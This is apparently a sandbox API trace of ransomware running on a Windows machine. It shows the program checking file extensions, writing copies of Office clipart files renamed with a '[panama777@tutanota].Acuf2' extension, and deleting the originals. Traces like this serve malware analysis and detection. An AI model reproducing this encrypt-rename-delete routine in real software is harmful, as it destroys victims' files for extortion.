	[0259.969] lstrlenW (lpString=".1cd") returned 4
	[0259.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.969] lstrlenW (lpString=".jpg") returned 4
	[0259.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.969] lstrlenW (lpString=".doc") returned 4
	[0259.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString=".docx") returned 5
	[0259.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.969] lstrlenW (lpString=".pdf") returned 4
	[0259.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString=".xls") returned 4
	[0259.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.969] lstrlenW (lpString=".xlsx") returned 5
	[0259.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.969] lstrlenW (lpString=".ppt") returned 4
	[0259.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.969] lstrlenW (lpString=".zip") returned 4
	[0259.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.970] lstrlenW (lpString=".rar") returned 4
	[0259.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.970] lstrlenW (lpString=".bz2") returned 4
	[0259.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.970] lstrlenW (lpString=".7z") returned 3
	[0259.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.970] lstrlenW (lpString=".dbf") returned 4
	[0259.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.970] lstrlenW (lpString=".1cd") returned 4
	[0259.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63
	[0259.970] lstrlenW (lpString=".jpg") returned 4
	[0259.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.970] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.970] lstrlenW (lpString="DD00234_.WMF") returned 12
	[0259.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.975] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=29628) returned 1
	[0259.975] CloseHandle (hObject=0x33c) returned 1
	[0259.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20
	[0259.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.977] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.977] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.977] GetLastError () returned 0x0
	[0259.977] ReadFile (in: hFile=0x33c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x73bc, lpOverlapped=0x0) returned 1
	[0259.979] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x73c0, lpOverlapped=0x0) returned 1
	[0259.980] ReadFile (in: hFile=0x33c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.980] WriteFile (in: hFile=0x274, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.980] SetEndOfFile (hFile=0x274) returned 1
	[0259.980] CloseHandle (hObject=0x274) returned 1
	[0259.980] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.981] SetEndOfFile (hFile=0x33c) returned 1
	[0259.983] CloseHandle (hObject=0x33c) returned 1
	[0259.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 1
	[0259.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.983] lstrlenW (lpString=".doc") returned 4
	[0259.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.983] lstrlenW (lpString=".docx") returned 5
	[0259.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.983] lstrlenW (lpString=".pdf") returned 4
	[0259.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString=".xls") returned 4
	[0259.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.984] lstrlenW (lpString=".xlsx") returned 5
	[0259.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.984] lstrlenW (lpString=".ppt") returned 4
	[0259.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.984] lstrlenW (lpString=".zip") returned 4
	[0259.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.984] lstrlenW (lpString=".rar") returned 4
	[0259.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString=".bz2") returned 4
	[0259.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString=".7z") returned 3
	[0259.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.984] lstrlenW (lpString=".dbf") returned 4
	[0259.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.984] lstrlenW (lpString=".1cd") returned 4
	[0259.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.984] lstrlenW (lpString=".jpg") returned 4
	[0259.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.984] lstrlenW (lpString=".doc") returned 4
	[0259.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.984] lstrlenW (lpString=".docx") returned 5
	[0259.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.985] lstrlenW (lpString=".pdf") returned 4
	[0259.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.985] lstrlenW (lpString=".xls") returned 4
	[0259.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.985] lstrlenW (lpString=".xlsx") returned 5
	[0259.985] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.985] lstrlenW (lpString=".ppt") returned 4
	[0259.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.985] lstrlenW (lpString=".zip") returned 4
	[0259.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.985] lstrlenW (lpString=".rar") returned 4
	[0259.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.985] lstrlenW (lpString=".bz2") returned 4
	[0259.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.985] lstrlenW (lpString=".7z") returned 3
	[0259.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.985] lstrlenW (lpString=".dbf") returned 4
	[0259.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.985] lstrlenW (lpString=".1cd") returned 4
	[0259.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63
	[0259.985] lstrlenW (lpString=".jpg") returned 4
	[0259.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.985] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.986] lstrlenW (lpString="DD00255_.WMF") returned 12
	[0259.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.987] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2690) returned 1
	[0259.987] CloseHandle (hObject=0x274) returned 1
	[0259.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20
	[0259.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.988] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.988] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.988] GetLastError () returned 0x0
	[0259.988] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xa82, lpOverlapped=0x0) returned 1
	[0259.989] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xa90, lpOverlapped=0x0) returned 1
	[0259.990] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.990] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.990] SetEndOfFile (hFile=0x354) returned 1
	[0259.990] CloseHandle (hObject=0x354) returned 1
	[0259.990] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.990] SetEndOfFile (hFile=0x274) returned 1
	[0259.994] CloseHandle (hObject=0x274) returned 1
	[0259.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 1
	[0259.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.995] lstrlenW (lpString=".doc") returned 4
	[0259.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.995] lstrlenW (lpString=".docx") returned 5
	[0259.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.995] lstrlenW (lpString=".pdf") returned 4
	[0259.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.995] lstrlenW (lpString=".xls") returned 4
	[0259.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.995] lstrlenW (lpString=".xlsx") returned 5
	[0259.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.995] lstrlenW (lpString=".ppt") returned 4
	[0259.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.995] lstrlenW (lpString=".zip") returned 4
	[0259.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.995] lstrlenW (lpString=".rar") returned 4
	[0259.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.995] lstrlenW (lpString=".bz2") returned 4
	[0259.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.995] lstrlenW (lpString=".7z") returned 3
	[0259.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.996] lstrlenW (lpString=".dbf") returned 4
	[0259.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.996] lstrlenW (lpString=".1cd") returned 4
	[0259.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.996] lstrlenW (lpString=".jpg") returned 4
	[0259.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.996] lstrlenW (lpString=".doc") returned 4
	[0259.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.996] lstrlenW (lpString=".docx") returned 5
	[0259.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.996] lstrlenW (lpString=".pdf") returned 4
	[0259.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.996] lstrlenW (lpString=".xls") returned 4
	[0259.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.996] lstrlenW (lpString=".xlsx") returned 5
	[0259.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.996] lstrlenW (lpString=".ppt") returned 4
	[0259.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.996] lstrlenW (lpString=".zip") returned 4
	[0259.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.996] lstrlenW (lpString=".rar") returned 4
	[0259.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.996] lstrlenW (lpString=".bz2") returned 4
	[0259.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.997] lstrlenW (lpString=".7z") returned 3
	[0259.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.997] lstrlenW (lpString=".dbf") returned 4
	[0259.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.997] lstrlenW (lpString=".1cd") returned 4
	[0259.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63
	[0259.997] lstrlenW (lpString=".jpg") returned 4
	[0259.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.997] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.997] lstrlenW (lpString="DD00256_.WMF") returned 12
	[0259.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.997] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2832) returned 1
	[0259.997] CloseHandle (hObject=0x274) returned 1
	[0259.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 0x20
	[0259.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.998] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.998] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.998] GetLastError () returned 0x0
	[0259.998] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xb10, lpOverlapped=0x0) returned 1
	[0260.000] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xb20, lpOverlapped=0x0) returned 1
	[0260.000] ReadFile (in: hFile=0x274, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.001] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.001] SetEndOfFile (hFile=0x354) returned 1
	[0260.001] CloseHandle (hObject=0x354) returned 1
	[0260.001] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.001] SetEndOfFile (hFile=0x274) returned 1
	[0260.003] CloseHandle (hObject=0x274) returned 1
	[0260.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf")) returned 1
	[0260.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.003] lstrlenW (lpString=".doc") returned 4
	[0260.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.003] lstrlenW (lpString=".docx") returned 5
	[0260.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.003] lstrlenW (lpString=".pdf") returned 4
	[0260.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.003] lstrlenW (lpString=".xls") returned 4
	[0260.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.004] lstrlenW (lpString=".xlsx") returned 5
	[0260.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.004] lstrlenW (lpString=".ppt") returned 4
	[0260.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.004] lstrlenW (lpString=".zip") returned 4
	[0260.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.004] lstrlenW (lpString=".rar") returned 4
	[0260.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString=".bz2") returned 4
	[0260.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString=".7z") returned 3
	[0260.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.004] lstrlenW (lpString=".dbf") returned 4
	[0260.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.004] lstrlenW (lpString=".1cd") returned 4
	[0260.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 63
	[0260.004] lstrlenW (lpString=".jpg") returned 4
